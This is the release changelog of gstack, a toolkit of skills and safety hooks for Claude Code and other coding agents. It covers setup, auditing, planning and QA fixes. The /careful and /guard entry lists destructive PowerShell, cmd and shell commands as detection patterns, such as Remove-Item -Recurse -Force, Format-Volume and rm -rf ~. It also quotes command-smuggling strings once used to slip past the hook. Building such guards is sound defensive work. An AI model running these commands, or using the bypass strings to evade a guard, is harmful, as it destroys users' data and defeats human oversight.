- On Windows, /setup-gbrain registers the gbrain MCP through bun.exe, so Claude Code no longer opens a console window each session. The skill also explains a PGLite "Failed to connect" that is only lock contention. Thanks @pmaxhogan (#2007) and @maxpetrusenkoagent (#1963).
- Hermes, GBrain, OpenClaw and Factory skills no longer leak Claude's "Agent tool" name. Thanks @katlun-lgtm (#1935).
- Benchmarks bill Codex cached input at the cache-read rate, and a stored Gemini OAuth file alone is no longer reported as ready. Thanks @KiDDarn (#2283).
- `gstack/llms.txt` links every skill to a file that exists. Thanks @creatornader (#2279).
- The OpenClaw docs no longer tell you to pass `env` to `sessions_spawn`, which has no env argument. Thanks @DanCanadian (#2749).
- A broken link in `docs/TESTING_INTERNALS.md`. Thanks @thearbajonart (#3070).

#### For contributors
- `autoplan/bin/owned-read.ts` approves only this install's `autoplan/sections/*.md` and immutable phase artifacts under the repo's `.gstack/tmp/autoplan/`. It never denies, and it runs only when the guard returned nothing.
- The paid `autoplan-guard-pty` case asserts zero permission cards across a background reviewer's notice turn.
- TODOS.md gains "Parked contributor ideas (Oct 8 triage)", which keeps 35 parked PRs grouped by theme with their authors.

## [1.91.65.0] - 2026-10-08

**A gstack install carries skills only for the agents you installed: a global Claude install drops from 632 SKILL.md files (34.7 MB) to 63 (2.5 MB).**
**Codex and the other non-Claude agents get every file their skills read, instead of failing those reads silently.**

`./setup` rendered every agent's copy of the skills inside the install (#1694). A global Claude install at `~/.claude/skills/gstack` held Codex, Factory, Kiro, OpenCode, Cursor, Copilot, Slate, OpenClaw, Hermes and GBrain renders next to its own skills. Claude Code and Cursor-agent scan that tree, and Cursor-agent freezes above about 11 MB of skill files. Separately, the runtime directories setup builds for Codex, Factory, Kiro, OpenCode, Cursor and Copilot were missing files the skills read on demand: the jargon list, the question registry, the AskUserQuestion guides, the review checklists, the DX Hall of Fame and more (#1077's remaining part).

### The numbers that matter

Measured on Linux with a sandboxed HOME, installing from a fresh clone of the commit before this release (4637fae) and of this branch. The setup builds were real; Chromium and fonts were skipped.

| Install | Before | After |
|---|---|---|
| Global Claude install (`./setup`) | 632 `SKILL.md`, 34,738,066 bytes | 63 `SKILL.md`, 2,520,330 bytes |
| Existing install upgraded, then `./setup` | 632 `SKILL.md`, 34,738,066 bytes | 63 `SKILL.md`, 2,520,330 bytes; 569 generated `SKILL.md` (36.3 MB with their other files) moved to the backup |
| Development checkout with `./setup --host codex` | 632 `SKILL.md`, 34,738,066 bytes | 119 `SKILL.md`, 5,772,984 bytes (Claude plus Codex) |
| Same checkout, `GSTACK_RENDER_HOSTS=all bun run build` | 632 | 632; the next `./setup` prunes back to 119 |
| `$GSTACK_ROOT` paths missing from the Codex runtime root | 10 of 80 | 1 of 80 (`scripts/ship-measure.ts`, deferred) |

### What this means for you

Run `/gstack-upgrade` (or `git pull && ./setup`). The first setup prints one `pruned <dir>` line per agent you don't use from this checkout and a `host-render backup:` line naming where the generated files went; the next `./setup` prints none. `./setup --status` lists your agents, and `./setup --host <name>` adds one back. Nothing gstack can't prove it generated is removed.

### Itemized changes

#### Fixed
- An install renders skills only for the agents installed from it. setup records them in `.gstack-installed-hosts` in the checkout and never drops one, so `./setup --host codex` keeps a Factory render. The first run seeds the record from what the checkout already serves: install registry rows, install directories that resolve to it, agent skills that link into its renders, and legacy copy installs. `scripts/build.sh` renders Claude plus the recorded agents and prints which and why. A checkout with no record (a development checkout) still renders every agent, and `GSTACK_RENDER_HOSTS=all` forces that inside an install. (#1694)
- Every `./setup`, and a migration for upgrades, prunes the renders of agents missing from the record, using `gstack-relink`'s proof rules. Links into the checkout are removed. Files proven generated (gstack's generated-file banner, the generator's exact `openai.yaml`, or byte identity) are moved to `~/.gstack/backups/host-renders/<time>-<id>/`. Every other file stays where it is, and only emptied directories are removed. setup prints each kept file and a summary per agent, and `prune.log` in the backup lists every path. Two installs that share one state root are each cleaned. (#1694)
- The Codex `.agents/` render is made only when Codex is installed or recorded; a Claude-only setup used to make it every time. (#1694)
- Codex, Factory, Kiro, OpenCode, Cursor and Copilot runtime roots carry every file their skills read as `$GSTACK_ROOT/<path>`: `VERSION`, `scripts/jargon-list.json`, `scripts/question-registry.ts`, the AskUserQuestion split and CJK guides, `docs/test-value-bar.md`, all four review checklists and the review specialists, `plan-devex-review/dx-hall-of-fame.md`, design-html's vendored `pretext.js`, and host-rendered `office-hours` and `plan-design-review` `SKILL.md` copies. Cursor had two of the four checklists and only OpenCode had the specialists. (#1077)

#### Added
- README and `docs/troubleshooting.md` explain the record, the prune and its backup, and how to get an agent back. `docs/ADDING_A_HOST.md` documents the render contract and the new host checklist step. setup's Hermes, OpenClaw and GBrain hints say to add the agent to the record before rendering it by hand.

#### For contributors
- `bin/gstack-host-renders.sh` owns the record, the build's host selection and the prune; `scripts/build.sh`, setup, `bin/dev-setup` and `gstack-upgrade/migrations/v1.91.65.0.sh` source it. `bin/dev-setup` records Codex because it serves the repo's `.agents/`. `hosts/define-host.ts`' `sharedRuntimeRoot()` mirrors setup's new `_link_runtime_dists` list and `_copy_runtime_skill_refs`.
- New tests: `test/runtime-root-assets.test.ts` builds each runtime root with setup's own functions and checks every `$GSTACK_ROOT` literal in that agent's render on disk (it fails on the previous setup for all five roots); `test/host-renders.test.ts` (record, build selection, sequential installs, the upgrade refresh path); `test/host-renders-prune.test.ts` (a real all-agent render with a customized file, a user file, a look-alike skill and links; two installs on one state root; link-based seeding; the migration).
- Not verified: Cursor-agent and Claude Code were not re-run against the trimmed tree; the numbers are on-disk counts. The Windows copy-install paths are covered by stubbed tests only.
- Thanks to @vschoener for reporting #1694 and for the first fix attempt in #1695, @skyzer for the relocation approach in #1819 (both closed in favor of this one), @Saisreenivas for the Cursor-agent freeze report, and @el-analista for #1077.

## [1.91.62.0] - 2026-10-08

**A Rails repair can now finish verifying on arm64.**

On arm64, every Rails verification failed with `ISOLATION_FAILED`, reporting either "Exact reproduction cleanup failed" or "Attempt watchdog did not acknowledge execution-copy cleanup". Neither cleanup was broken. One attempt prepares the application twice, and an offline Rails preparation that compiles native gems takes 6.8 to 8.5 minutes on a 4-vCPU arm64 runner, against about 3.5 minutes on amd64. The 900-second attempt bound expired during the second preparation, the watchdogs cleaned up on schedule, and the helper reported that deadline as a cleanup failure.

### The numbers that matter

Measured on Ubicloud 4-vCPU runners with the staged Rails image from staging run 37735865870 and gstack 1d1ce39b4. Each figure is the start-to-kill time of one Docker group, taken from `docker events`.

| Rails verification step | amd64 | arm64 |
|---|---|---|
| Offline preparation (each of the two phases) | 3.3–3.5 min | 6.8–8.5 min |
| Phase observation (boot, controls, tests) | 8–10 s | 14–26 s |
| Where the 900 s attempt ended | finished in about 8 min | killed during the second preparation, 3 of 3 arm64 reference repairs |
| Attempt bound | 900 s | 1,800 s, still cut to the run's reporting deadline |

### What this means for you

Rails repairs on arm64 hosts, including Apple silicon Docker, can now reach `runtime_tested` and replay. Node, Bun and Python keep their 300-second attempt.

### Itemized changes

#### Fixed
- `MAX_VERIFICATION_ATTEMPT_MS`, the Rails attempt and replay bound, is now 1,800 seconds. That equals the longest comprehensive run budget, and each attempt is still cut to the run's reporting deadline. The attempt watchdog, the Docker verification executor and the assertion witness lifetime share this bound.

#### For contributors
- `test/cso-cli-lifecycle.test.ts` pins the new bound.

## [1.91.60.0] - 2026-10-08

**Windows setup finishes when the optional /cso helper fails to build, and it tells you when Smart App Control blocks gstack's binaries.**

On Windows, `./setup` stopped completely when the native /cso helper failed to build or publish (#3071), even though /cso is optional and every other skill was ready. On Windows 11 with Smart App Control on, setup reported success while Windows refused to start all five binaries gstack compiles (`browse`, `find-browse`, `design`, `pdf`, `gstack-global-discover`). Git Bash shows that as `Permission denied`, so `/qa`, `/browse`, `/design-*` and `/make-pdf` failed later with a misleading error (#2595, #2124). And the sidebar terminal rendered every character double-width on Windows (#2287).

### The numbers that matter

Measured on Linux (4 vCPU) at f67c478 (before) and on this branch (after). The Windows-only paths are covered by stubbed tests here and by the `windows-setup-e2e` job on `windows-latest`. Nobody has run this on a machine with Smart App Control on.

| Check | Before | After |
|---|---|---|
| `scripts/build.sh` with a CSO publish failure injected | exit 86; no browse server bundle, no build stamp | exit 0; bundle and stamp written; failure recorded with stage and log |
| `./setup --host codex` with the same failure | stops (exit 86) | finishes; prints `CSO publish step failed (exit 86) ...; previous CSO kept: <revision>` |
| Same failure with `GSTACK_STRICT_BUILD=1` | exit 86 | exit 1 with the reason (CI keeps catching regressions) |
| `browse --version` | started a browse server, then exited 1 | prints the build hash, exits 0, starts nothing |
| `pdf --version` / `gstack-global-discover --version` | exit 1 (usage) | exit 0 |
| Compiled binaries setup and `gstack-doctor` launch-check | 0 of 5 | 5 of 5 |

### What this means for you

Run `/gstack-upgrade` (or `git pull && ./setup`), then run `~/.claude/skills/gstack/bin/gstack-doctor`: its new `binaries` and `cso` rows show whether every compiled binary starts and whether /cso's helper is installed. On Windows with Smart App Control on, setup now lists the blocked binaries and the skills that need them, and points to the two workarounds that work today: run gstack inside WSL, or turn Smart App Control off. Signed binaries are the real fix and are tracked in `TODOS.md`.

### Itemized changes

#### Fixed
- A failed /cso helper build or publish no longer stops `scripts/build.sh` or `./setup`. setup says which step failed (`probe`, `build` or `publish`), where the log is (`bin/.gstack-cso-build.log`), what still works, and the retry command (`bun run build:cso && ./setup`). When a failed publish restores the earlier helper, setup says `previous CSO kept: <revision>` and /cso keeps using it. `GSTACK_STRICT_BUILD=1` makes the failure fatal; the free-tests, make-pdf-gate and windows-setup-e2e builds set it. (#3071)
- `scripts/build-cso.sh` clears its EXIT trap before it hands the stage to the native publisher, so on Git Bash the parent can no longer delete the staged files while the publisher runs. If the publisher cannot start, the parent cleans up and records why. Whether this was the cause of #3071's vanishing files is unproven. (#3071)
- The Windows /cso toolchain probe and build prefer PowerShell 7 (`pwsh`) and fall back to Windows PowerShell 5.1. A probe that fails for another reason keeps its exit status and first output line (`windows-toolchain-probe`) instead of being labeled a missing Visual Studio install. (#3071)
- `browse`, `find-browse`, `pdf` and `gstack-global-discover` answer `--version` before doing anything else, like `design` already did.
- The sidebar terminal and the sidepanel's monospace text list Consolas and the Cascadia faces before the CJK fallbacks, so Windows no longer renders `C l a u d e`. (#2287)

#### Added
- setup on Windows runs each compiled binary's `--version` after the build. Binaries that cannot start are reported as blocked by Smart App Control or another application-control policy, with the skills that need them, the shell setup ran from, whether WSL is installed, how to undo it, and a new troubleshooting section. A binary that starts but fails is reported as a build problem. setup prints the raw Windows error beside its classification because that text is unverified. (#2595, #2124)
- `gstack-doctor`: the `browse bundle` row says `blocked at launch` instead of passing, a new `binaries` row covers the other four compiled binaries, and a new `cso` row reads the build-result record.
- README documents Smart App Control as a known issue and /cso as optional on Windows; `docs/troubleshooting.md` gains a Windows section and an entry for CSO build and publish failures.

#### For contributors
- `bin/gstack-launch-probe.sh` is the shared launch classifier (`native`, `blocked`, `broken`, `missing`) for setup and the doctor. `bin/.gstack-cso-build-result` is the CSO outcome record that `scripts/build-cso.sh` writes; setup removes it with the helper when a prerequisite is missing, so it never writes into a source checkout that needed no build. They are pinned by `test/gstack-launch-probe.test.ts`, `test/build-cso-result-record.test.ts`, `test/build-cso-nonfatal.test.ts`, `test/setup-cso-degrade.test.ts`, `test/setup-windows-launch-hint.test.ts`, `test/binary-version-probe.test.ts`, and new cases in `test/gstack-doctor.test.ts` and `browse/test/sidebar-ux.test.ts`.
- `windows-setup-e2e` checks that all five binaries answer `--version`, and adds two forced CSO failures: fatal under `GSTACK_STRICT_BUILD=1`, and a completed setup with a doctor `cso` warning under `GSTACK_STRICT_BUILD=0`.
- Deliberately not done: a `bun run` shim for blocked binaries. PowerShell callers could not use it, and it would load the calling project's `.env` and `bunfig.toml`.
- Thanks to @dviolante for the #3071 report and its diagnosis, including the PowerShell 5.1 crash and the `pwsh` fix. Thanks to @tomfluff for the font fix (#2287, landed with original authorship). The Smart App Control diagnosis came from @knetics9000 (#2595, #2596), @smartjelic-sys (#2595), @pstilwell90 (#2124), @cko32002 (#2265) and @salluexez (#2127).

## [1.91.59.0] - 2026-10-08

**/autoplan's phase guard accepts a plan under a symlinked directory, and a failed snapshot init no longer blocks a corrected re-run.**

The /autoplan publication guard checks that snapshot `init` reported the same active-plan and restore paths it was given. `init` reports canonical paths, with every directory link resolved, but the guard compared them against the command arguments as typed. On macOS `/tmp` and `/var` are links to `/private/tmp` and `/private/var`, so every plan under them, and any plan reached through a symlinked directory elsewhere, was denied with `init_mismatch` at the first phase. Separately, the guard stopped at the first `init` call that errored, so one bad call denied the whole session even after a correct `init` succeeded.

### What this means for you

Run `/gstack-upgrade`. `/autoplan` on a plan under `/tmp`, `/var/folders` or another symlinked directory now enters its phases instead of stopping at `init_mismatch`. If an `init` call fails, re-run the same command with the same three paths: the later success binds, and `init_failed` now tells you to do exactly that.

### Itemized changes

#### Fixed
- The phase publication guard canonicalizes `init`'s `<active>` and `<restore>` arguments the same way `init` does before comparing them with its result. Writes and Edits to the active plan are matched by canonical path, so a pending Edit through a symlinked spelling still counts as pending. (#3072)
- An errored `init` call is skipped. The guard denies `init_failed` only when the most recent `init` call errored, and the message says to re-run the same command. A mistyped snapshot-tool path is treated as an unbindable call rather than crashing the hook. (#3072)
- `init_mismatch` explains that `init` returned paths that don't match its own arguments and no longer suggests re-running the same call. (#3072)

#### For contributors
- `bin/gstack-autoplan-snapshot.ts` exports `canonicalDestination`, the path computation `initializePlan` already used, so the guard and `init` share one definition. `init`'s output is unchanged.
- New `PAX-3638` cases in `test/autoplan-publication-guard.test.ts` and `test/autoplan-init.test.ts` drive the guard through a symlinked fixture directory, so the bug reproduces on Linux: 9 of the 11 new guard cases fail against the previous hook. `docs/autoplan-guard-troubleshooting.md` gains a "Symlinked plan directories" section and updated `init_mismatch` and `init_failed` entries.

## [1.91.54.0] - 2026-10-08

**Your first /office-hours session gets the first-session closing again, and you see the design doc before you approve it.**

/office-hours logged the session to your builder profile and then read the profile to choose its closing, so every run counted itself as history. A first-time user got the "welcome back" closing, never saw the introduction, and was asked how the assignment they had just been given went. Every later tier was one session early too. Separately, the approval question showed up while the design doc sat in a collapsed tool output, and a session that never wrote a doc could still be logged as a success.

### What this means for you

Run `/gstack-upgrade`, then start `/office-hours` on a new idea. Before the doc is saved you'll see a `Builder profile before this session:` line. On a first session it says `SESSION_TIER=introduction PRIOR_SESSION_COUNT=0`, and the closing is the introduction. `gstack-timeline-read --limit 1abc` now exits 2 and shows an example instead of quietly reading one event.

### Itemized changes

#### Fixed
- /office-hours reads your builder profile before it logs the session and carries the earlier tier, count and last assignment to the closing. This session is counted as the prior count plus one. If the profile can't be read, it treats the session as your first and tells you so. A returning greeting skips "last time" when the profile has no last assignment or project, and just says "Welcome back." (#2801)
- /office-hours prints the complete design doc in the conversation before asking you to approve it. (#879)
- /office-hours logs `success` only when this run's own design doc exists and isn't empty. It checks the doc's exact path under your gstack state root. A session that ends without a doc is logged as `abort` or `error` with failed step `design_doc`. (#1049)
- `/plan-ceo-review`, `/plan-eng-review`, `/plan-devex-review` and `/autoplan` skip the "run /office-hours first?" offer in spawned and headless sessions, where nobody can answer it, and continue with the standard review. (#1958)
- `gstack-timeline-read --limit` takes only a positive integer. A missing value, `0`, `-5`, `abc` or `1abc` exits 2 with `--limit must be a positive integer (got '<value>'); example: --limit 20`, whether or not the project has a timeline. Without the flag you still get 20 events. (#1723)
- Skill start prints `SESSIONS: N`, the number of gstack sessions active in the last two hours, so CLAUDE.md rules that read the session count have a value. (#1651, part A)

#### For contributors
- New tests in `test/gen-skill-docs.test.ts` run the rendered office-hours profile read, session log and design-doc check against a temporary state root. `test/timeline.test.ts` covers each bad `--limit` on empty and populated histories. `test/gstack-skill-start.test.ts` covers the `SESSIONS` count. The office-hours, plan-eng-review and autoplan parity caps include the measured growth.

## [1.91.52.0] - 2026-10-08

**`/qa` says exactly what shape `annotations.json` takes, and the `qa-quick` gate eval stops timing out at its 300 s budget.**

Before writing its report, `/qa` records an `annotations.json` file and runs `gstack-qa-evidence materialize` on it. The section that describes the file listed its fields as `{evidence: [...], limits}` and told browser-only runs to put "checkpoints in limits", but it never said what type `limits` is. The validator only accepts a non-empty array of strings. In 11 of 15 recent `qa-quick` CI transcripts, the agent's first attempt wrote `limits` as an object, the call failed, and the agent had to retry. Anyone running `/qa` or `/qa-only` could hit the same retry.

`qa-quick` runs on every PR that touches `browse/src`. It passed 13 of 15 recent CI runs in 206-280 s, and the other 2 hit the 300 s session timeout. Two parts of the case's own setup were adding work. Its fixture directory was not a git repository, so in all 15 runs `materialize` first failed with "revision is required when git rev-parse HEAD is unavailable". Its prompt also put the fixture's `/page1` and `/page2` links in scope. Both links return 404 on the test server, so each run spent part of its 30 s probe window, and its wrap-up, investigating and reporting them. The session budget, the thresholds and the `/qa` workflow are unchanged.

### The numbers that matter

Diagnostic `ship-measure` trials in the CI image (Claude Code 2.1.292, Bun 1.4.2, `--jobs 2`, `CI=true`). They never change a recorded verdict.

| `qa-quick` | Before (CI, 15 runs) | After (10 trials) |
|---|---|---|
| Passed | 13 of 15 | 10 of 10 |
| Pass duration, median (range) | 252 s (206-280 s) | 187 s (155-256 s) |
| Mean cost per trial | $1.75 | $1.46 |
| Runs with a failed `materialize` call | 15 of 15 | 0 of 10 |

### What this means for you

`/qa` and `/qa-only` now get `annotations.json` right on the first try, which saves a failed tool call near the end of a run. A browse PR's `qa-quick` check should no longer time out. Its slowest measured trial (256 s) sits right at the 85% headroom line (255 s), so the weekly gate's headroom alarm may still flag the case now and then.

### Itemized changes

#### Fixed
- `qa/sections/exploratory.md` §4 (shared by `/qa` and `/qa-only` through the `QA_EXPLORATORY` resolver) shows `limits` as `["checkpoint 001"]` and says it is a non-empty string array, never an object. That matches what `lib/qa-evidence.ts` already enforces.

#### For contributors
- `qa-quick` commits its fixture directory to git before the session starts, as `qa-only-no-fix` already does. `/qa`'s clean-tree check and the evidence recorder's revision now work the way they do in a real repository.
- `qa-quick` limits Quick scope to the fixture page itself: its load, console health and rendered content. The two same-origin links are listed as untested coverage. The qa-b6/b7/b8 and qa-fix-loop cases still cover link following and defect detection.

## [1.91.47.0] - 2026-10-08

**`/careful` and `/guard` now check PowerShell commands, and `/freeze` now covers notebook edits.**

On Windows, Claude Code runs shell commands through its PowerShell tool, and on a machine without Git Bash that is the only shell it has. `/careful` and `/guard` listened only to the Bash tool, so they never saw those commands: `Remove-Item -Recurse -Force C:\proj` and `rmdir /s /q C:\proj` went through with no prompt. The hook also had no PowerShell or cmd patterns at all. Separately, on every platform, `NotebookEdit` was missing from the `/freeze`, `/guard` and `/investigate` hooks, and the freeze check read only `file_path`. A notebook edit outside the boundary was allowed.

### The numbers that matter

Checked by piping hook payloads into the real scripts (`test/hook-scripts.test.ts`) on Linux.

| Check | Before | After |
|---|---|---|
| PowerShell tool: `Remove-Item -Recurse -Force C:\proj`, `rmdir /s /q C:\proj` | allowed (the hook never ran, and had no pattern) | ask, naming the matched pattern |
| Bash: `pwsh -c "Remove-Item -r -fo x"`, `cmd /c "rd /s /q x"`, `cmd //c "r^d /s /q x"` | allowed | ask |
| `-EncodedCommand`, `iex`, `Start-Process pwsh`, `& $cmd`, `[IO.Directory]::Delete` | allowed | ask, explaining that encoded or dynamic PowerShell can't be inspected |
| `NotebookEdit` on `/etc/x.ipynb` with `/freeze` set elsewhere | allowed | denied, naming the tool, `notebook_path`, the boundary and `/unfreeze` |
| Negative controls (`git branch -d`, `ord`, `--del`, a `/rd/` path, `Remove-Item x.txt`), on Bash and PowerShell | allowed | still allowed |
| New #3067 hook tests run against the old scripts | — | 54 of 98 fail; the other 44 (controls and unchanged behavior) pass on both |

### What this means for you

Run `/gstack-upgrade`, then start `/careful` in a new session. On Windows, ask Claude to run `Remove-Item -Recurse -Force .\scratch` through PowerShell: you'll get an approval prompt that names `ps_remove_item`. PowerShell coverage is best-effort, because PowerShell can build a command at runtime that string matching can't see. If you need a hard stop, add Claude Code permission deny rules, such as `"deny": ["PowerShell(Remove-Item *)"]`. Those rules parse PowerShell and match aliases. The hooks run through `bash`, so on Windows they still need Git Bash, which gstack already requires.

### Itemized changes

#### Fixed
- `/careful` and `/guard` register a `PowerShell` hook matcher beside `Bash` (#3067).
- `check-careful.sh` runs one PowerShell and cmd pattern table. It covers commands from the PowerShell tool, and the rest of any Bash command from the point where it launches `pwsh`, `powershell` or `cmd` (including Git Bash's `cmd //c`). Matching ignores case and covers aliases (`rm`, `ri`, `del`, `erase`, `rd`, `rmdir`). Command names match only where a command starts. Parameters match any prefix PowerShell accepts (`-r`, `-rec`, `-fo`, `-forc`, `-Recurse:$true`). cmd `^` escapes and PowerShell backtick escapes are removed before matching. The covered commands are `Remove-Item` with `-Recurse` or `-Force`, `rd`/`rmdir`/`del`/`erase` with `/s`, `Format-Volume`, `Clear-Disk`, `Clear-Content` (the same as `truncate`), `[IO.Directory]::Delete` and `[IO.File]::Delete`, plus asks for `-EncodedCommand`/`-enc`, `Invoke-Expression`/`iex`, `Start-Process` of a shell and `& $cmd`. Patterns that apply to any shell (`git push --force`, `DROP TABLE`, and the rest) apply to PowerShell commands too.
- `/freeze`, `/guard` and `/investigate` register a `NotebookEdit` matcher beside `Edit` and `Write`. `check-freeze.sh` reads `notebook_path` when `file_path` is absent (#3067). Every freeze denial now names the tool, the path field and `/unfreeze`.
- PR #1110's bypass strings (`echo hi; rm -rf ~`, `echo $(rm -rf /)`, `git commit -m "$(rm -rf ~)"`) are pinned as negative controls and still ask.

#### For contributors
- `gstack_hook_extract_tool` in `careful/bin/hook-extract.sh` reads `tool_name` and the first non-empty field in one parser call, so dispatch adds no process per command. A `check-careful.sh` paired with an older helper falls back to the Bash-only reader. A `check-freeze.sh` paired with an older helper denies as out of date.
- The payload shapes come from Claude Code's docs. PowerShell sends `tool_input.command` (hooks reference, "PreToolUse > PowerShell"). NotebookEdit sends `tool_input.notebook_path` (Agent SDK `NotebookEditInput`). `MultiEdit` no longer appears in the tools reference, the hooks reference or the SDK tool list, so it gets no matcher.
- The careful and freeze hook matchers are separate per-tool entries, matching the existing `Edit`/`Write` entries. Claude Code treats them the same as one `Bash|PowerShell` list, and the safety-prose parser in `scripts/gen-skill-docs.ts` keeps reading them.
- `test/hook-scripts.test.ts` is now named Windows coverage in `scripts/lib/windows-curation.ts`. Its symlink, newline-path and POSIX-`PATH` cases are skipped on win32.
- The hook payload reader writes bytes from Python. Windows text-mode output had turned `PowerShell` into `PowerShell\r`, so the table never ran there; the first `windows-free-tests` run of these tests caught it. `hook-extract.sh` also finds `gstack-state-root.sh` when sourced through a `C:\` path.
- The PR paid lane's `office-hours-auto-mode` case matched 0 tests because its Bun test name differs from its id. `CASE_TEST_NAMES` now maps it, and `test/test-pr-profile.test.ts` checks that every audited PR-profile case is addressable by name.
- `careful/bin/check-careful.sh` is listed in `FREE_ONLY_PR_FILES`. No paid fixture runs it, and as an unknown dependency it used to restore the full paid gate on every `/careful` change.
- Thanks to @jtheyse for the #3067 report and its suggested fix shape, @JiayuuWang for PR #1110, whose bypass strings became negative controls, and @BenjaminDSmithy for PR #3066's frontmatter hook-check derivation. The new matchers pass #3066's `bin/gstack-hook-check` and its test as well as main's.

## [1.91.45.0] - 2026-10-08

### Added
- Choose separate model tiers for planning and implementation. Independent plan reviews default to Fable 5.1 or GPT-6 Astra; implementation handoffs recommend Opus 5.5 or GPT-6.1 Sol without switching your session. Explicit model choices still win, and `plan_review_tier smart` or `host` provides an alternative to the frontier default.
- Inspect effective models, their sources and copyable pin/reset commands with `gstack-models`. Six settings use the existing configuration store, with fail-closed validation and a notice before the first affected review. See the [model-policy guide](docs/model-policy.md).
- Policy inspection reports native Windows paths and rejects non-directory or unreadable state roots rather than silently selecting defaults.
- Get weekly advisory checks of official model recommendations and retirement notices. One tracking issue retains source evidence and lifecycle history; upgrades remain human-reviewed, with no automatic model changes or paid benchmarking.

### Fixed
- Codex model probes retain up to sixteen selections, serialize concurrent misses and preserve newer entries when another probe finishes later. Plan-review readiness and execution share one deadline, and failed model choices point to the setting that actually selected them.
- `/review` and `/ship` explicitly require prerequisite QA instructions to be read in earlier responses before a probe, including its evidence capture.

## [1.91.42.0] - 2026-10-08

**/cso lifts its file-count ceiling: repositories with tens of thousands of files reach the audit.**
**Repositories with more than 64 MiB of tracked source, or with a tracked symlink, are still refused, and the message now says which limit applied and what to do.**

/cso refused any repository with more than about 3,100 files before an audit started, with "Snapshot manifest exceeds the 1 MiB private-state admission limit" (#3068). The snapshot's file list shared a 1 MiB limit with every other private file /cso keeps, and so did the report it writes, the list of files with secret-like findings, and Git's own file listing. The snapshot list now has its own 16 MiB limit (about 50,000 files) and is written compactly. Per-file lists in the report and the evidence file keep their first entries and end with one line saying how many more there are. The counts in the report stay exact.

### The numbers that matter

Shallow clones measured on 2026-10-08 with `start --offline`, before and after this release:

| Repository | Files | Tracked source | Before | After |
|---|---|---|---|---|
| sveltejs/svelte | 9,182 | 6.9 MiB | refused (file list over 1 MiB) | audit starts; 2.8 MiB file list, 10 KB report |
| facebook/react | 7,252 | 38.7 MiB | refused (file list over 1 MiB) | audit starts; 2.3 MiB file list, 53 KB report |
| laravel/framework | 3,439 | 25.7 MiB | refused (file list over 1 MiB) | audit starts; 1.0 MiB file list, 30 KB report |
| django/django | 7,085 | 44.0 MiB | refused (4 tracked symlinks) | refused (symlinks); starts once they are removed |
| rails/rails | 5,007 | 38.1 MiB | refused (1 tracked symlink) | refused (symlink); starts once it is removed |
| hashicorp/terraform | 5,562 | 25.6 MiB | refused (10 tracked symlinks) | refused (symlinks); starts once they are removed |
| grafana/grafana | 23,749 | 210.7 MiB | refused (Git file listing over 1 MiB) | refused (symlinks); then the 64 MiB source cap |
| microsoft/vscode | 20,238 | 540.0 MiB | refused (Git file listing over 1 MiB) | refused (symlink); then the 64 MiB source cap |

On a synthetic 5,000-file repository with long nested paths, where most files are excluded or withheld and 1,000 files carry secret-like strings, the report is 267 KB and the evidence file 524 KB. Unbounded, the same lists took 1.97 MB and 1.68 MB, over the 1 MiB limit. A free test drives that shape through start, inspect, findings, finish and recheck.

### What this means for you

Run `/gstack-upgrade`, then run `/cso` on a repository with more than 3,100 files: the audit starts instead of stopping at the snapshot. If /cso still refuses, the message names the limit (the 16 MiB snapshot list, the 64 MiB source cap, or a symlink), the measured size, what counts toward it and the next step. No setting raises these limits yet; the 64 MiB source cap is tracked in #2993, and `docs/troubleshooting.md#cso-capacity` explains all three.

### Itemized changes

#### Fixed
- /cso refused repositories with more than about 3,100 files before an audit. The snapshot file list is written compactly and capped at 16 MiB; every other private file keeps its 1 MiB limit. Snapshot lists written by earlier releases still load in recheck and inspect. (#3068)
- Report coverage gaps, exclusions and transformations, and the evidence file of secret-like findings, keep their first entries and end with an omitted count, so a large repository no longer overflows the report partway through an audit.
- Git's file listings during capture are allowed up to the snapshot list size, so repositories past roughly 11,000 to 23,000 files, depending on path length (7,000 to 10,000 with `--diff` or `--base`), no longer fail with "Could not read bounded Git metadata: ls-tree exceeded the output limit".
- The snapshot-list and 64 MiB source-cap errors state the measured value, the limit, what counts toward it, the next step and the #2993 link. A single file that would cross 64 MiB now gets the same message before it is read. (#2993)

#### For contributors
- `readJson` takes a per-artifact size cap. `readSnapshotManifest(dir)` is the only reader of `snapshot.json`, and a source test fails on a direct read.
- `boundedList` in `lib/cso/state.ts` bounds a per-entry list by the pretty-printed bytes it adds and appends one omitted-count item.
- `runProcess` lets raw callers opt in to up to 16 MiB of output; everything else keeps the `MAX_OUTPUT` clamp, which stays 1 MiB.
- Thanks to @almoatasemm for the report (#3068) and @saanjay for the capacity diagnosis of the manifest, reader and source caps (#2993).

## [1.91.38.0] - 2026-10-07

**`/ios-qa` works on iPads, and a dropped USB route no longer restarts the app you are testing.**

Three things went wrong on real devices. The daemon accepted only iPhones, so a paired iPad was refused with "not an iPhone" (#2743). Once a session was running, any blip in Xcode 26's CoreDevice tunnel made the daemon start over: the app had already deleted its one-use boot token, so the only way back in was `devicectl process launch --terminate-existing`, which threw away the app's in-memory QA state in the middle of a test flow (#1975). And if the app could not write that boot token in the first place, `StateServer` failed silently with `try?`, so the daemon kept relaunching an app that could never let it in (#1837).

### The numbers that matter

Measured with the simulated-device tests in `ios-qa/daemon/test/daemon-integration.test.ts` (a `devicectl` emulator plus a StateServer with the real token rules). Real iPhone and iPad runs have not been done for this release.

| Check | Before | After |
|---|---|---|
| Paired iPad on USB, no target set | refused ("not an iPhone") | bootstraps |
| iPhone and iPad both on USB, no target set | silently drives whichever devicectl listed first | stops and lists both UDIDs with a ready `export GSTACK_IOS_TARGET_UDID=...` line |
| One route drop during a session | 1 `--terminate-existing` relaunch, in-app state lost | 0 relaunches, state kept, same bearer |
| Three requests failing on the same drop | one bootstrap and one relaunch | one shared recovery, no relaunch |
| App that cannot write its boot token | silent; daemon relaunches it once, then `boot_token_unavailable` with no cause | `NOT READY` in the device log; daemon names the cause and does not relaunch |

### What this means for you

Run `/gstack-upgrade`, then rerun `gstack-ios-qa-regen` in your app so the new `StateServer` lands in `DebugBridge/`. Plug in an iPad and run `/ios-qa`: it connects like an iPhone. With an iPhone and an iPad both plugged in, the daemon prints both UDIDs and the `export GSTACK_IOS_TARGET_UDID=<udid>` line to run. When the tunnel drops mid-session, the daemon log says `tunnel recovered: kept the session` and the app keeps its state. A restarted daemon still relaunches the app once, because a new daemon has no session bearer.

### Itemized changes

#### Fixed
- **Physical iPads are accepted** (#2743). Device selection takes iPhones and iPads (platform iOS or iPadOS); errors say "iPhone or iPad". Watches, Vision Pro and other devices are still refused. Contributed by @loulanyue (#2779), reported by @Artic0din.
- **Two devices are never guessed between.** When an iPhone and an iPad (or any two devices) tie for the default, bootstrap fails with `multiple_devices`, lists each device with its UDID, and prints the export line.
